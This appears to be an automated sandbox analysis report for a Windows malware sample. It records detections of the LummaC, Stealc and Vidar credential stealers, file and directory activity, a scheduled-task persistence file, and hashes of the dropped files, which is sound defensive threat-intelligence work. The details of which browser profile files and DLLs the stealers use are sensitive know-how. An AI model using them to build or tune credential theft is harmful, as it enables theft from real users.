Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN

Yara detected Credential Stealer

Source: Yara match	File source: 0000000C.00000003.3051999590.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2999075528.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3022927593.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3084377745.0000000000D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3073683889.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3084048003.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2999819217.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3003028581.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 36.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.3236474739.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2999530094.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3219239848.0000000001137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3025229093.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3217179898.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2240131316.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3202477803.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3015278414.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770C40 sqlite3_bind_zeroblob,	4_2_6C770C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770D60 sqlite3_bind_parameter_name,	4_2_6C770D60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C698EA0 sqlite3_clear_bindings,	4_2_6C698EA0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	4_2_6C770B40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C696070 PR_Listen,	4_2_6C696070
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	4_2_6C69C050
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69C030 sqlite3_bind_parameter_count,	4_2_6C69C030
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6222D0 sqlite3_bind_blob,	4_2_6C6222D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6963C0 PR_Bind,	4_2_6C6963C0

Windows Analysis Report
file.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

ID:	1540693
Product:	CloudBasic
Start time:	01:08:04
Start date:	24.10.2024
Sample:	file.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	0af4b09e3011f05b8544c8bdd3cd9d0e
SHA1:	a7366a2ccb143c3bef6675b843e6bc783fc987be
SHA256:	a4cf0a305d3f13a420212b85d701f0b2b3f15fddbec04e1aa86c04e45d78b335
Filetype:	Win32 Executable (generic) a (10002005/4) 99.96%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\DAKFCGIJKJKFHIDHIIIEBGCBFB	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3	369B6DD66F1CAD49D0952C40FEB9AD41	D05B2DE29433FB113EC4C558FF33087ED7481DD4	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
C:\ProgramData\EHJDGHJDBFIJKECAECAFBAKKEG	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2	D2A38A463B7925FE3ABE31ECCCE66ACA	A1824888F9E086439B287DEA497F660F3AA4B397	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
C:\ProgramData\FBGHIIJD	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3	429F49156428FD53EB06FC82088FD324	560E48154B4611838CD4E9DF4C14D0F9840F06AF	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
C:\ProgramData\FCBFBGDB	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8	D87270D0039ED3A5A72E7082EA71E305	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
C:\ProgramData\FIJDGIJJKEGIEBGCGDHCFIDAAE	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7	CFFF4E2B77FC5A18AB6323AF9BF95339	3AA2C2115A8EB4516049600E8832E9BFFE0C2412	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
C:\ProgramData\GCBKECAKFBGCAKECGIEH	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\ProgramData\JEBKKEGDBFIIEBFHIEHC	ASCII text, with very long lines (1743), with CRLF line terminators	1191AEB8EAFD5B2D5C29DF9B62C45278	584A8B78810AEE6008839EF3F1AC21FD5435B990	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
C:\ProgramData\KJJKEBGHJKFIDGCAAFCAFCBAKF	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4	9D46F142BBCF25D0D495FF1F3A7609D3	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
C:\ProgramData\freebl3.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	550686C0EE48C386DFCB40199BD076AC	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
C:\ProgramData\mozglue.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	C8FD9BE83BC728CC04BEFFAFC2907FE9	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
C:\ProgramData\msvcp140.dll	PE32 executable (DLL) (console) Intel 80386, for MS Windows	5FF1FCA37C466D6723EC67BE93B51442	34CC4E158092083B13D67D6D2BC9E57B798A303B	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
C:\ProgramData\nss3.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	1CC453CDF74F31E4D913FF9C10ACDDE2	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
C:\ProgramData\softokn3.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	4E52D739C324DB8225BD9AB2695F262F	71C3DA43DC5A0D2A1941E874A6D015A071783889	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
C:\ProgramData\vcruntime140.dll	PE32 executable (DLL) (console) Intel 80386, for MS Windows	A37EE36B536409056A86F50E67777DD7	1CAFA159292AA736FC595FC04E16325B27CD6750	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.log	CSV text	3A8957C6382192B71471BD14359D0B12	71B96C965B65A051E7E7D10F61BEBD8CCBB88587	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DIKGVVY9JNEBJRBXL.exe.log	CSV text	3A8957C6382192B71471BD14359D0B12	71B96C965B65A051E7E7D10F61BEBD8CCBB88587	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	PE32 executable (GUI) Intel 80386, for MS Windows	C85BD4B2AD207A44D2CF47F0B48D6D09	3D20EA5592B7742BF5A05C166AA3E18C9D187681	294EE8A1545ECAD7C74A8994FD7CD56ACBDF3694EE80A77BA33E12C0067717D7
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	550686C0EE48C386DFCB40199BD076AC	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	C8FD9BE83BC728CC04BEFFAFC2907FE9	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	PE32 executable (DLL) (console) Intel 80386, for MS Windows	5FF1FCA37C466D6723EC67BE93B51442	34CC4E158092083B13D67D6D2BC9E57B798A303B	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	1CC453CDF74F31E4D913FF9C10ACDDE2	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	PE32 executable (GUI) Intel 80386, for MS Windows	0AF4B09E3011F05B8544C8BDD3CD9D0E	A7366A2CCB143C3BEF6675B843E6BC783FC987BE	A4CF0A305D3F13A420212B85D701F0B2B3F15FDDBEC04E1AA86C04E45D78B335
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	4E52D739C324DB8225BD9AB2695F262F	71C3DA43DC5A0D2A1941E874A6D015A071783889	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	PE32 executable (DLL) (console) Intel 80386, for MS Windows	A37EE36B536409056A86F50E67777DD7	1CAFA159292AA736FC595FC04E16325B27CD6750	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	PE32 executable (GUI) Intel 80386, for MS Windows	62BD2A0204F051756999458C674A9F38	C8B70D784378EBCB631B487AC5C89DBFE9466DE0	B49A7532227BD5B225B06037D2CDDE71BA4F6D1364E14EC4081931C1C573CAFC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	PE32 executable (GUI) Intel 80386, for MS Windows	791FCEE57312D4A20CC86AE1CEA8DFC4	04A88C60AE1539A63411FE4765E9B931E8D2D992	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	PE32 executable (GUI) Intel 80386, for MS Windows	0AF4B09E3011F05B8544C8BDD3CD9D0E	A7366A2CCB143C3BEF6675B843E6BC783FC987BE	A4CF0A305D3F13A420212B85D701F0B2B3F15FDDBEC04E1AA86C04E45D78B335
C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	PE32 executable (GUI) Intel 80386, for MS Windows	62BD2A0204F051756999458C674A9F38	C8B70D784378EBCB631B487AC5C89DBFE9466DE0	B49A7532227BD5B225B06037D2CDDE71BA4F6D1364E14EC4081931C1C573CAFC
C:\Users\user\AppData\Local\Temp\1001069001\num.exe	PE32 executable (GUI) Intel 80386, for MS Windows	791FCEE57312D4A20CC86AE1CEA8DFC4	04A88C60AE1539A63411FE4765E9B931E8D2D992	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	PE32 executable (GUI) Intel 80386, for MS Windows	C85BD4B2AD207A44D2CF47F0B48D6D09	3D20EA5592B7742BF5A05C166AA3E18C9D187681	294EE8A1545ECAD7C74A8994FD7CD56ACBDF3694EE80A77BA33E12C0067717D7
C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	PE32 executable (GUI) Intel 80386, for MS Windows	B77225C8BC9F21109D2FD90EFA3F75B0	AB8B4A78522E32E8CA2870FEA4B114963A36F026	C5BC938280CF091A6780EBA8B4437497A50707385B30DA1660FB8858EB466182
C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	PE32 executable (GUI) Intel 80386, for MS Windows	B77225C8BC9F21109D2FD90EFA3F75B0	AB8B4A78522E32E8CA2870FEA4B114963A36F026	C5BC938280CF091A6780EBA8B4437497A50707385B30DA1660FB8858EB466182
C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	PE32 executable (GUI) Intel 80386, for MS Windows	C85BD4B2AD207A44D2CF47F0B48D6D09	3D20EA5592B7742BF5A05C166AA3E18C9D187681	294EE8A1545ECAD7C74A8994FD7CD56ACBDF3694EE80A77BA33E12C0067717D7
C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	PE32 executable (GUI) Intel 80386, for MS Windows	B8771EC7ED95832DDBADD0B78C4CB8F2	D088D845731A88ED0E868CB0A959FE4B0D04F032	5BB74E6810044FE83FFC1748E26FED2FC7C89766F9AB215BBA935C4CD4B58D1A
C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	PE32 executable (GUI) Intel 80386, for MS Windows	B8771EC7ED95832DDBADD0B78C4CB8F2	D088D845731A88ED0E868CB0A959FE4B0D04F032	5BB74E6810044FE83FFC1748E26FED2FC7C89766F9AB215BBA935C4CD4B58D1A
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	PE32 executable (GUI) Intel 80386, for MS Windows	B8771EC7ED95832DDBADD0B78C4CB8F2	D088D845731A88ED0E868CB0A959FE4B0D04F032	5BB74E6810044FE83FFC1748E26FED2FC7C89766F9AB215BBA935C4CD4B58D1A
C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]	D910AD167F0217587501FDCDB33CC544	2F57441CEFDC781011B53C1C5D29AC54835AFC1D	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4	8736A542C5564A922C47B19D9CC5E0F2	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	data	B7C14EC6110FA820CA6B65F5AEC85911	608EEB7488042453C9CA40F7E1398FC1A270F3F4	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	data	B7C14EC6110FA820CA6B65F5AEC85911	608EEB7488042453C9CA40F7E1398FC1A270F3F4	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4	5D8FF610DA391800258F5ED9A9EBD915	4D5EF0E8591166944A7AE28F0ECD22DDF46C8A0A	94FDFCE5338822A679262BBEDB3E62543BB582A1B734BA00E3585F484957AA11
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	data	9A17D3169159EDBDAFC6D7773DDD9DFC	405F7C3C005073A538F52CD366FB4D42247D5417	8ECF1742BE29F4CEBF8AC710ADFD4014D92446BEE1DB9F2AE4531FCA815386B4
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	SQLite Write-Ahead Log, version 3007000	B4C4719920593487B28B37051468725A	B7B378F7B17A8AB3C9A00C43F7B5E757826C7F76	ECF59A292C8B8F3012213BF3038941358A20023C5701E2ADAC867610D0ACA86C
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js	ASCII text, with very long lines (1743), with CRLF line terminators	3C99B71FA5272E412B2BE80F63911603	03F2814914DC1AF1F0DA32B4C8591C4B00778BB3	97A571343E4ED609BC7872F1348CF50054DD6C907B8BFF1E9C3646D9CD0F77E1
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)	ASCII text, with very long lines (1743), with CRLF line terminators	3C99B71FA5272E412B2BE80F63911603	03F2814914DC1AF1F0DA32B4C8591C4B00778BB3	97A571343E4ED609BC7872F1348CF50054DD6C907B8BFF1E9C3646D9CD0F77E1
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)	JSON data	C4AB2EE59CA41B6D6A6EA911F35BDC00	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp	JSON data	C4AB2EE59CA41B6D6A6EA911F35BDC00	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6	8B40B1534FF0F4B533AF767EB5639A05	63EDB539EA39AD09D701A36B535C4C087AE08CC9	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
C:\Windows\Tasks\skotes.job	data	1E9BD443BF5AEA758F3BCBDF42F1AF4E	D1697CD34CE26A8089D6D837EB454EECB1D9C42D	327BB45E7FD754CEAD5A0F8C413814498F4F86832D2EF4D55ECE72DF455DED41

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

